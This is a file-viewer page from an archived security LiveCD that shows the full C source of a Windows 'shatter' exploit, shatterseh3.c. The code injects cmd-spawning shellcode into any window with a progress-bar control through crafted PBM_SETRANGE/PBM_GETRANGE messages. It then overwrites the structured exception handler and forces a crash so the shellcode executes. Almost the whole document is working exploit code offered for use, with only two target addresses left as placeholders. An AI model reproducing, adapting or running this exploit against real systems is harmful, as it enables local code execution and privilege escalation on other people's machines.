home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / shatterseh3.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  3.5 KB  |  99 lines
  1. /***************************************************************************
  2. * Progress Control Shatter exploit
  3. *
  4. * Demonstrates the use of Progress Control messages to;
  5. * - inject shellcode to known location
  6. * - overwrite 4 bytes of a critical memory address
  7. *
  8. * 3 Variables need to be set for proper execution.
  9. * - tWindow is the title of the programs main window
  10. * - sehHandler is the critical address to overwrite
  11. * - shellcodeaddr is the data space to inject the code
  12. *
  13. * Local shellcode loads relevant addresses
  14. * Try it out against any program with a progress bar
  15. *
  16. * Based on (and pretty much identical to)
  17. *    mcafee-shatterseh2.c by
  18. *   Oliver Lavery <oliver.lavery at sympatico.ca>
  19. ****************************************************************************
  20. /
  21. #include <windows.h>
  22. #include <commctrl.h>
  23. #include <stdio.h>
  24. // Local Cmd Shellcode.
  25. BYTE exploit[] =
  26. "\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\xD
  27. 1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";
  28. char g_classNameBuf[ 256 ];
  29. char tWindow[]="Checking Disk C:\\";// The name of the main window
  30. long sehHandler = 0x7fXXXXXX; // Critical Address To Overwrite
  31. long shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space
  32. void doWrite(HWND hWnd, long tByte,long address);
  33. void IterateWindows(long hWnd);
  34. int main(int argc, char *argv[])
  35. {
  36.    long hWnd;
  37.    HMODULE hMod;
  38.    DWORD ProcAddr;
  39.    printf("%% Playing with progress bar messages\n");
  40.    printf("%% brett.moore@security-assessment.com\n\n");
  41.    // Find local procedure address
  42.    hMod = LoadLibrary("kernel32.dll");
  43.    ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");
  44.    if(ProcAddr != 0)
  45.       // And put it in our shellcode
  46.       *(long *)&exploit[13] = ProcAddr;
  47.    hMod = LoadLibrary("msvcrt.dll");
  48.    ProcAddr = (DWORD)GetProcAddress(hMod, "system");
  49.    if(ProcAddr != 0)
  50.       // And put it in our shellcode
  51.       *(long *)&exploit[26] = ProcAddr;
  52.  
  53.    printf("+ Finding %s Window...\n",tWindow);
  54.    hWnd = (long)FindWindow(NULL,tWindow);
  55.    if(hWnd == NULL)
  56.    {
  57.       printf("+ Couldn't Find %s Window\n",tWindow);
  58.       return 0;
  59.    }
  60.    printf("+ Found Main Window At...0x%xh\n",hWnd);
  61.    IterateWindows(hWnd);
  62.    printf("+ Done...\n");
  63.    return 0;
  64. }
  65. void doWrite(HWND hWnd, long tByte,long address)
  66. {
  67.    SendMessage( hWnd,(UINT) PBM_SETRANGE,0,MAKELPARAM(tByte , 20));
  68.    SendMessage( hWnd,(UINT) PBM_GETRANGE,1,address);
  69. }
  70. void IterateWindows(long hWnd)
  71. {
  72.    long childhWnd,looper;
  73.    childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);
  74.    while (childhWnd != NULL)
  75.    {
  76.       IterateWindows(childhWnd);
  77.       childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);
  78.    }
  79.    GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) );
  80.    if ( strcmp(g_classNameBuf, "msctls_progress32") ==0)
  81.    {
  82.       // Inject shellcode to known address
  83.       printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
  84.       for (looper=0;looper<sizeof(exploit);looper++)
  85.          doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr + looper));
  86.       // Overwrite SEH
  87.       printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
  88.       doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler);
  89.       doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);
  90.       doWrite((HWND)hWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2);
  91.       doWrite((HWND)hWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3);
  92.       // Cause exception
  93.       printf("+ Forcing Unhandled Exception\n");
  94.       SendMessage((HWND) hWnd,(UINT) PBM_GETRANGE,0,1);
  95.       printf("+ Done...\n");
  96.       exit(0);
  97.     }
  98. }
  99.